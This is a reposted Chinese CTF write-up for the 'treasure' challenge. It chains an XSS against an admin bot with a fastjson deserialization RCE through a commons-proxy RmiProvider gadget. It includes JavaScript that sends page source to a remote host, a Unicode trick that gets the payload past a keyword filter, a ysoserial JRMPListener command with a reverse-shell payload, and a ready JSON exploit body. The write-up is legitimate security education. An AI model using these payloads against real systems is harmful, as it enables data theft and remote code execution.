转载

空指针-treasure-Writeup

空指针-treasure-Writeup

感谢沉浸于工作的火日师傅抽空出的题,因为最近在学java安全,所以就自告奋勇和Muuu来测题,然后下图就十分应景,整体做完学到了很多ORz

空指针-treasure-Writeup

空指针-treasure-Writeup

题目地址为:

http://treasure.npointer.cn/#home

我们会延续开放24h,有兴趣的可以做一遍。

下面我将尽可能地详细阐述整体的做题思路,以及中间踩到的坑。

空指针-treasure-Writeup

0x01:XSS

首页发现功能只有两个,一个是hint,一个是submit,而hint页面内容如下:

空指针-treasure-Writeup

那么肯定就是要管理员去请求了,接下来看源码中的js文件:

空指针-treasure-Writeup

如果对ssrf题目比较熟悉的选手,应该一眼就可以看出可以用域名.的形式绕过,所以我们可以在vps上构造远程读取hint.html页面的js代码,然后提交给bot,让bot去访问,代码如下:

<script>

function createXmlHttp() {

if (window.XMLHttpRequest) {

xmlHttp = new XMLHttpRequest()

} else {

var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');

for (var n = 0; n < MSXML.length; n++) {

try {

xmlHttp = new ActiveXObject(MSXML[n]);

break

} catch(e) {}

}

}

}

createXmlHttp();

xmlHttp.onreadystatechange = function(){

if (xmlHttp.readyState == 4) {

code=xmlHttp.responseText;

createXmlHttp();

url = "http://x.x.x.x:9001";

cc = window.btoa(code);

xmlHttp.open("POST", url, true);

xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xmlHttp.send(cc)

}

};

xmlHttp.open("GET", "/hint.html", true);

xmlHttp.send(null);

</script>

提交给bot拿到源码:

空指针-treasure-Writeup

解码后我们可以拿到题目源码,同时可以得知jdk是最新版本以及flag的位置。

空指针-treasure-Writeup

0x02:fastjson的反序列化

首先我们要知道,在高本版的jdk下,我们不能远程加载类(默认没开),所以能利用的方式大致为两种,JNDI跟JRMP。

我在翻看了选手们的wp后,发现大部分都是利用了JDNI注入的LDAP去打的利用链,可以参照16年bh的议题:

空指针-treasure-Writeup

言归正传,我们先来看控制器的方法:

空指针-treasure-Writeup

十分标准的fastjson反序列化操作,然后我们在来看切面中匹配了type关键词,如果匹配到会导致失败异常退出:

if (input.toLowerCase().contains("type")) {return joinPoint.proceed(args);}

我们知道,在json中可以利用Unicode来进行解码,这里就利用Unicode绕过即可。

然后就是痛苦的找包过程,这里我用maven直接把pom.xml的依赖全部下到本地了,然后去看source code,然后就是痛苦的找包过程(其实如果有经验的选手,直接反编译后搜lookup就好了)。

先来看预期解,顺着pom.xml慢慢往下看,会发现其引用了commons-proxy:

<dependency>

<groupId>org.apache.commons</groupId>

<artifactId>commons-proxy</artifactId>

<version>1.0</version>

</dependency>

在org.apache.commons.proxy.provider.remoting.RmiProvider中,我们发现在getObject函数中调用了lookup函数,如下图:

空指针-treasure-Writeup

我们知道,parseObject()在处理过程中会调用反序列化目标类的所有setter和getter方法,所以这里只需要我们构造一个JRMP SERVER就可以利用RMI触发。

然后再去看pom.xml,发现引用了commons-collections3.2

然后利用yso的commonscollections5打就好了

操作流程如下, 先在vps上启动JRMP:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 '反弹shell'

然后通过submit路由发送:

{"@/u0074ype":"org.apache.commons.proxy.provider.remoting.RmiProvider","host":"118.24.101.241",port:"1088","name":"Object"}

即可最后实现RCE

空指针-treasure-Writeup

在我看来,这是最简单的一种做法,只需要启动一个JRMP SERVER来触发反序列化即可。

空指针-treasure-Writeup

0x03:另外的做法

既然大部分选手都是用了org.apache.commons.proxy.provider.remoting.SessionBeanProvider这一个链去打,我们来看一下它的实现方法:

空指针-treasure-Writeup

可以看到jnDi明显是我们可控的,于是一个典型的JNDI注入就出来了,当然依旧可以通过JRMP去RCE。

JRMP的利用方式跟上文中的一样。

JDNI注入的利用可参考这篇文章:

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html。

其中利用本地Class作为Reference Factory这种方法,在我本地尝试是OK的,但是苦于远程环境搭建过于麻烦...就没远程尝试,有兴趣的师傅可以试一下求告知Orz

PS

在本地测试过程中,发现SessionBeanProvider会报autoType is not support,但为啥题目是可以打的呢?这是由于一个进程下fastjson的缓存原因,有兴趣的读者可以本地自行跟一下。

第一场内部赛预告

空指针-treasure-Writeup

出题人:梅子酒

1.10日21:00正式开放

敬请期待:ghost:

原文  https://mp.weixin.qq.com/s/4HyUfWglTMVh9PMBlRZaLg
正文到此结束
Loading...